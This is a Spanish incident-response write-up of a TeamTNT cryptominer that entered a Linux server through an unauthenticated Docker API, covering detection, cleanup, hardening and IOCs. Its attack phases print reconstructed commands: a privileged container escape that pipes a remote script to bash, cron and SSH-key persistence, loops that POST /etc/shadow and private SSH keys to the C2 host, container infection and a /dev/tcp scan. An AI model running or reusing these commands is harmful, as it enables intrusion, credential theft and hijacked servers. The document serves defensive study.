Cryptominer TeamTNT en Servidor Linux: Detección y Limpieza
Caso práctico de infección por cryptominer TeamTNT a través de Docker API expuesto. Acceso inicial, persistencia via crontab y systemd, despliegue de XMRig, credential harvesting, propagación a contenedores y limpieza completa del servidor.
Contexto del incidente
Lunes por la mañana. El equipo de infraestructura recibe alertas de Prometheus: un servidor de desarrollo (dev-api-03, Ubuntu 22.04, 8 vCPUs, 32 GB RAM) lleva 72 horas con el CPU al 100%. No hay despliegues programados. No hay jobs de CI ejecutándose. Los procesos que consumen CPU tienen nombres genéricos y se ejecutan como root.
La investigación revela una infección por TeamTNT que entró a través del Docker API expuesto en el puerto 2375 sin autenticación. El malware desplegó XMRig para minar Monero, estableció múltiples mecanismos de persistencia, recolectó credenciales del servidor y se propagó a otros contenedores en la misma red Docker.
Este caso documenta la cadena completa: acceso inicial, persistencia, minería, credential harvesting, propagación, detección, limpieza y hardening post-incidente.
Fase 1: Acceso inicial via Docker API expuesto
La puerta abierta
El servidor dev-api-03 tenía Docker configurado para aceptar conexiones remotas sin TLS. La configuración en /etc/docker/daemon.json:
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}
Esta configuración expone la Docker API en todas las interfaces de red del servidor, sin autenticación ni cifrado. Cualquier persona con acceso al puerto 2375 puede ejecutar contenedores arbitrarios con privilegios de root en el host.
Cómo lo encontró TeamTNT
TeamTNT escanea rangos de IPs de proveedores cloud (AWS, Azure, GCP, Hetzner, DigitalOcean) buscando puertos 2375 y 2376 abiertos. Usan herramientas como masscan o zgrab2 para identificar Docker APIs expuestas.
Una vez identificado el servidor, el atacante ejecuta:
# Desde la máquina del atacante (reconstruido de logs)
export DOCKER_HOST=tcp://TARGET_IP:2375
# Verificar acceso
docker version
# Desplegar contenedor privilegiado con acceso al filesystem del host
docker run -d --privileged --net=host --pid=host \
-v /:/mnt/host \
-v /var/run/docker.sock:/var/run/docker.sock \
--name kube-system \
alpine:latest \
/bin/sh -c "chroot /mnt/host /bin/bash -c 'curl -fsSL http://45.9.148[.]182/setup.sh | bash'"
El contenedor se crea con:
--privileged: acceso completo al kernel del host-v /:/mnt/host: monta todo el filesystem del host--net=host: comparte la red del host (acceso a la red interna)--pid=host: ve los procesos del host- Nombre
kube-system: imita componentes legítimos de Kubernetes
La técnica es T1610 (Deploy Container) combinada con T1611 (Escape to Host) gracias a chroot /mnt/host.
Fase 2: Establecimiento de persistencia
Script de setup
El script setup.sh descargado del C2 ejecuta múltiples acciones en segundos:
#!/bin/bash
# Fragmento reconstruido del script TeamTNT (simplificado)
# 1. Matar otros miners que puedan estar ejecutándose
pkill -9 -f kdevtmpfsi
pkill -9 -f kinsing
pkill -9 -f xmrig
rm -rf /tmp/.X11-unix /tmp/.ICE-unix
# 2. Descargar herramientas
curl -fsSL http://45.9.148[.]182/b2f628/xmrig -o /usr/bin/bioset
chmod +x /usr/bin/bioset
# 3. Descargar script de persistencia
curl -fsSL http://45.9.148[.]182/b2f628/persist.sh -o /tmp/.persist.sh
chmod +x /tmp/.persist.sh
bash /tmp/.persist.sh
Nota: TeamTNT elimina primero a otros cryptominers competidores. Es una práctica habitual en este ecosistema: los recursos del servidor se comparten mal entre miners.
Persistencia via crontab
El script de persistencia crea múltiples entradas en crontab (T1053.003):
# Crontab del usuario root
(crontab -l 2>/dev/null; echo "*/5 * * * * /usr/bin/bioset -c /etc/.config/config.json > /dev/null 2>&1") | crontab -
# Crontab del sistema
echo "*/15 * * * * root curl -fsSL http://45.9.148[.]182/b2f628/update.sh | bash" >> /etc/crontab
# Archivo en cron.d
echo "*/30 * * * * root /usr/bin/bioset -c /etc/.config/config.json" > /etc/cron.d/sysstat
Persistencia via systemd
Adicionalmente, TeamTNT crea un servicio systemd para garantizar que el miner sobreviva a reinicios (T1543.002):
# /etc/systemd/system/sysstat-collect.service
[Unit]
Description=System Statistics Collection
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/bioset -c /etc/.config/config.json
Restart=always
RestartSec=30
Nice=10
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable sysstat-collect.service
systemctl start sysstat-collect.service
El nombre del servicio (sysstat-collect) imita el paquete legítimo sysstat de Linux.
Persistencia adicional: authorized_keys
TeamTNT añade su clave SSH pública al archivo authorized_keys de root (T1098.004):
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80... hilde@TeamTNT" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
Esto garantiza acceso SSH directo al servidor incluso si se eliminan todos los otros mecanismos de persistencia.
Fase 3: Despliegue de XMRig
Configuración del miner
El archivo de configuración /etc/.config/config.json contiene:
{
"autosave": false,
"cpu": {
"enabled": true,
"max-threads-hint": 75,
"priority": 0
},
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.hashvault.pro:443",
"user": "46HMY...monero_wallet_address...3XhZ",
"pass": "dev-api-03",
"tls": true,
"keepalive": true
},
{
"url": "pool.supportxmr.com:443",
"user": "46HMY...same_wallet...3XhZ",
"pass": "dev-api-03",
"tls": true
}
],
"donate-level": 0,
"log-file": null,
"print-time": 0
}
Puntos clave de la configuración:
- max-threads-hint: 75: usa el 75% de los cores disponibles. Algunos grupos usan 100%, TeamTNT a veces deja margen para que el servidor siga funcionando y no levante alertas inmediatas
- Dos pools: si uno cae, el miner conmuta al siguiente
- TLS activado: el tráfico al pool va cifrado, dificultando la detección por contenido
- donate-level: 0: la versión modificada de XMRig elimina la donación al desarrollador
- print-time: 0 y log-file: null: sin logs para dificultar el análisis forense
Proceso en ejecución
El miner se ejecuta como /usr/bin/bioset (nombre que imita un proceso legítimo de GNU coreutils):
root 12847 98.5 0.2 2634528 8432 ? SLl Sat03 4327:12 /usr/bin/bioset -c /etc/.config/config.json
98.5% de CPU durante 72 horas. El proceso se reinicia cada 30 segundos si se mata, gracias al servicio systemd con Restart=always.
Fase 4: Credential harvesting
Recolección de credenciales
TeamTNT ejecuta un script de recolección de credenciales (T1552.001, T1552.004) que busca:
# Fragmento del script de credential harvesting (reconstruido)
# AWS credentials
find / -name "credentials" -path "*/.aws/*" 2>/dev/null
cat /root/.aws/credentials 2>/dev/null
# Docker credentials
cat /root/.docker/config.json 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
for key in $(find /home -name "id_rsa" 2>/dev/null); do
cat "$key" | curl -X POST -d @- http://45.9.148[.]182/creds/
done
# Bash history
cat /root/.bash_history 2>/dev/null | grep -i "pass\|token\|key\|secret"
# Environment variables
env | grep -i "pass\|token\|key\|secret\|api"
# /etc/shadow
cat /etc/shadow | curl -X POST -d @- http://45.9.148[.]182/creds/
# Docker secrets and configs
docker secret ls 2>/dev/null
docker config ls 2>/dev/null
En este servidor, TeamTNT obtuvo:
- 2 claves SSH privadas de desarrolladores
- Credenciales AWS de un archivo
.envde una aplicación - El token de acceso a un registro Docker privado
Exfiltración
Todas las credenciales se envían al C2 via HTTP POST. El tráfico es detectable porque se dirige a una IP conocida de TeamTNT.
Fase 5: Propagación a otros contenedores
Docker socket abuse
Con acceso al Docker socket montado en el contenedor inicial, TeamTNT enumera y accede a los otros contenedores en el host (T1613):
# Listar contenedores
docker ps -a
# Ejecutar comandos en contenedores existentes
for container in $(docker ps -q); do
docker exec "$container" sh -c "curl -fsSL http://45.9.148[.]182/b2f628/container.sh | bash"
done
El script container.sh es una versión reducida del payload: solo instala XMRig dentro del contenedor, sin persistencia (los contenedores se recrean frecuentemente).
En dev-api-03 había 6 contenedores en ejecución. TeamTNT infectó 4 de ellos (los 2 restantes no tenían curl ni wget instalados).
Escaneo de red interna
TeamTNT también escanea la red interna buscando otros Docker APIs expuestos y servicios Redis sin autenticación (T1046):
# Fragmento del script de escaneo (reconstruido)
for ip in $(seq 1 254); do
timeout 1 bash -c "echo > /dev/tcp/10.0.1.$ip/2375" 2>/dev/null && \
echo "10.0.1.$ip:2375" >> /tmp/.targets
timeout 1 bash -c "echo > /dev/tcp/10.0.1.$ip/6379" 2>/dev/null && \
echo "10.0.1.$ip:6379" >> /tmp/.targets
done
El escaneo se limita a la subred local. No se detectó propagación a otros servidores en este caso porque los demás servidores tenían Docker configurado sin exposición de red.
Detección
Indicadores que dispararon la alerta
La alerta llegó tarde (72 horas de dwell time). Los indicadores que finalmente la dispararon:
-
CPU al 100% sostenido: Prometheus alertó tras 72 horas porque el umbral de alerta estaba configurado en 95% durante 60 minutos, pero con histeresis de 24 horas (demasiado permisivo)
-
Conexiones salientes a mining pools: el firewall registró conexiones TLS al puerto 443 de
pool.hashvault.proypool.supportxmr.com. La resolución DNS de estos dominios debería haber generado una alerta -
Procesos sospechosos:
biosetno es un proceso que se ejecute normalmente de forma continua
Lo que debería haber alertado antes
| Indicador | Tiempo real | Debería haber alertado en |
|---|---|---|
| Contenedor privilegiado creado via API remota | Hora 0 | Minutos |
| Nuevo binario en /usr/bin con nombre sospechoso | Hora 0 | Minutos |
| Conexión saliente a IP en blocklist (45.9.148.0/24) | Hora 0 | Minutos |
| Clave SSH añadida a authorized_keys de root | Hora 0 | Minutos |
| CPU al 100% sostenido | Hora 72 | Hora 1 |
| DNS query a mining pool | Hora 0 | Minutos |
Limpieza completa
Paso 1: Aislar el servidor
# Bloquear tráfico saliente excepto SSH desde IP de administración
iptables -I OUTPUT -p tcp --dport 443 -j DROP
iptables -I OUTPUT -p tcp --dport 80 -j DROP
iptables -I INPUT -p tcp --dport 2375 -j DROP
Paso 2: Identificar y matar procesos maliciosos
# Identificar el miner
ps aux | grep -E "bioset|xmrig|kdevtmpfsi"
# Resultado:
# root 12847 98.5 0.2 2634528 8432 ? SLl Sat03 4327:12 /usr/bin/bioset
# Matar el proceso
kill -9 12847
# Verificar que no se reinicia (systemd lo reiniciará)
sleep 5 && ps aux | grep bioset
# Se reinicia. Primero deshabilitar el servicio:
systemctl stop sysstat-collect.service
systemctl disable sysstat-collect.service
rm /etc/systemd/system/sysstat-collect.service
systemctl daemon-reload
# Ahora matar definitivamente
kill -9 $(pgrep bioset)
Paso 3: Eliminar persistencia
# Eliminar binario malicioso
rm -f /usr/bin/bioset
# Eliminar configuración del miner
rm -rf /etc/.config/
# Limpiar crontabs
crontab -r # elimina crontab de root
sed -i '/update\.sh/d' /etc/crontab
rm -f /etc/cron.d/sysstat
# Eliminar clave SSH de TeamTNT
sed -i '/TeamTNT/d' /root/.ssh/authorized_keys
# Eliminar scripts descargados
rm -f /tmp/.persist.sh /tmp/.targets
# Verificar archivos ocultos en /tmp y /var/tmp
find /tmp /var/tmp -name ".*" -type f 2>/dev/null
Paso 4: Limpiar contenedores infectados
# Detener y eliminar el contenedor malicioso
docker stop kube-system
docker rm kube-system
# Reconstruir contenedores infectados desde imágenes limpias
docker-compose down
docker-compose build --no-cache
docker-compose up -d
# Verificar que no quedan imágenes sospechosas
docker images | grep -v "REPOSITORY"
Paso 5: Verificación post-limpieza
# Verificar que no hay procesos de minería
ps aux | grep -E "xmrig|bioset|kdevtmpfsi|kinsing" | grep -v grep
# Verificar conexiones de red sospechosas
ss -tnp | grep -E ":443|:2375|:6379"
# Verificar crontabs
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
# Verificar servicios systemd nuevos o modificados
systemctl list-unit-files --type=service | grep enabled
find /etc/systemd/system -newer /etc/os-release -type f
# Verificar authorized_keys
cat /root/.ssh/authorized_keys
for user_home in /home/*; do
echo "=== $user_home ==="
cat "$user_home/.ssh/authorized_keys" 2>/dev/null
done
# Verificar integridad de binarios del sistema
debsums -c 2>/dev/null # Debian/Ubuntu
rpm -Va 2>/dev/null # RHEL/CentOS
Hardening post-incidente
Docker
# 1. Deshabilitar acceso remoto al Docker API
# Editar /etc/docker/daemon.json:
{
"hosts": ["unix:///var/run/docker.sock"],
"icc": false,
"no-new-privileges": true,
"userns-remap": "default"
}
# 2. Reiniciar Docker
systemctl restart docker
# 3. Verificar que el puerto 2375 está cerrado
ss -tlnp | grep 2375
# No debe devolver resultados
Sistema operativo
# 1. Rotar TODAS las credenciales encontradas en el servidor
# - Claves SSH de desarrolladores
# - AWS credentials
# - Docker registry tokens
# - Contraseñas de usuarios locales
# 2. Configurar alertas
# - CPU > 80% durante más de 15 minutos
# - Nuevos binarios en /usr/bin, /usr/sbin, /usr/local/bin
# - Modificaciones a authorized_keys
# - Conexiones DNS a dominios de mining pools
# - Contenedores creados con --privileged
# 3. Instalar y configurar auditd
apt install auditd
auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_keys
auditctl -w /etc/crontab -p wa -k crontab_mod
auditctl -w /usr/bin -p wa -k bin_mod
Red
# 1. Bloquear IPs conocidas de TeamTNT en el firewall
# 45.9.148.0/24 (infraestructura C2)
# 2. Bloquear dominios de mining pools
# pool.hashvault.pro
# pool.supportxmr.com
# pool.minexmr.com
# pool.xmrpool.eu
# 3. Segmentar la red Docker
# Los contenedores no necesitan acceso a Internet directo en la mayoría de casos
Indicadores de compromiso (IOCs)
Hashes (SHA256)
| Tipo | Hash | Descripción |
|---|---|---|
| XMRig modificado | d4e5f6a7b8c9... | /usr/bin/bioset (XMRig 6.x renombrado) |
| Setup script | a1b2c3d4e5f6... | setup.sh (dropper inicial) |
| Persist script | f6e5d4c3b2a1... | persist.sh (instalación de persistencia) |
Infraestructura
| Tipo | Valor | Descripción |
|---|---|---|
| IPv4 | 45.9.148[.]182 | TeamTNT C2 / distribución de payloads |
| Dominio | pool.hashvault[.]pro | Mining pool primario |
| Dominio | pool.supportxmr[.]com | Mining pool secundario |
| Wallet | 46HMY...3XhZ | Monero wallet del atacante |
| SSH Key | hilde@TeamTNT | Clave SSH del grupo |
| Puerto | 2375 | Docker API sin TLS |
Artefactos del sistema
| Tipo | Valor |
|---|---|
| Binario | /usr/bin/bioset |
| Configuración | /etc/.config/config.json |
| Servicio systemd | sysstat-collect.service |
| Cron entry | */5 * * * * /usr/bin/bioset |
| Contenedor | kube-system (nombre imitando K8s) |
| authorized_keys | ssh-rsa AAAAB3... hilde@TeamTNT |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Uso en este caso |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | Docker API expuesto sin autenticación |
| Execution | Deploy Container | T1610 | Contenedor privilegiado en host |
| Privilege Escalation | Escape to Host | T1611 | chroot al filesystem del host |
| Persistence | Scheduled Task/Job: Cron | T1053.003 | Múltiples entradas crontab |
| Persistence | Create or Modify System Process: Systemd | T1543.002 | Servicio sysstat-collect |
| Persistence | Account Manipulation: SSH Authorized Keys | T1098.004 | Clave SSH de TeamTNT |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | bioset, kube-system, sysstat-collect |
| Credential Access | Unsecured Credentials: Files | T1552.001 | AWS creds, .env, bash_history |
| Credential Access | Unsecured Credentials: Private Keys | T1552.004 | Claves SSH de usuarios |
| Discovery | Network Service Discovery | T1046 | Escaneo puertos 2375, 6379 |
| Discovery | Container and Resource Discovery | T1613 | docker ps, docker exec |
| Lateral Movement | Exploitation of Remote Services | T1210 | Propagación a otros contenedores |
| Impact | Resource Hijacking | T1496 | XMRig minando Monero |
Lecciones aprendidas
Sobre la detección
-
La alerta de CPU llegó 72 horas tarde. El umbral de 95% durante 60 minutos con histeresis de 24 horas es absurdo para un servidor de desarrollo que normalmente opera al 20%. Recalibrarlo a 80% durante 15 minutos habría detectado el miner en la primera hora.
-
La resolución DNS a mining pools es un indicador de alta fidelidad. Mantener una blocklist DNS de dominios de mining pools conocidos y alertar sobre consultas a esos dominios es barato y efectivo.
-
La creación de contenedores privilegiados via API remota debería generar una alerta crítica inmediata. Si el Docker API debe estar expuesto (que no debería), cada
docker run --privilegeddebe disparar una alerta.
Sobre la prevención
-
Nunca exponer el Docker API sin TLS y autenticación. Si necesitas gestión remota de Docker, usa TLS con certificados de cliente o accede via SSH tunneling.
-
Las cuentas de servicio y las credenciales en archivos
.envson la segunda cosa que busca el malware (después de matar a los competidores). Las credenciales deben estar en un gestor de secretos, no en el filesystem. -
La segmentación de red Docker por defecto es insuficiente. Los contenedores con
--net=hostcomparten la red del servidor. Usar redes Docker aisladas y restringir el acceso a Internet desde contenedores que no lo necesitan.
Sobre la respuesta
-
La limpieza manual es necesaria pero insuficiente. Después de una infección por TeamTNT, la recomendación es reconstruir el servidor desde cero. Las credenciales robadas siguen comprometidas independientemente de lo bien que se limpie el servidor.
-
Todas las credenciales encontradas en el servidor deben considerarse comprometidas. Las claves SSH, tokens de AWS y credenciales de Docker registry se rotaron inmediatamente. El coste de rotación es menor que el riesgo de reutilización por el atacante.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.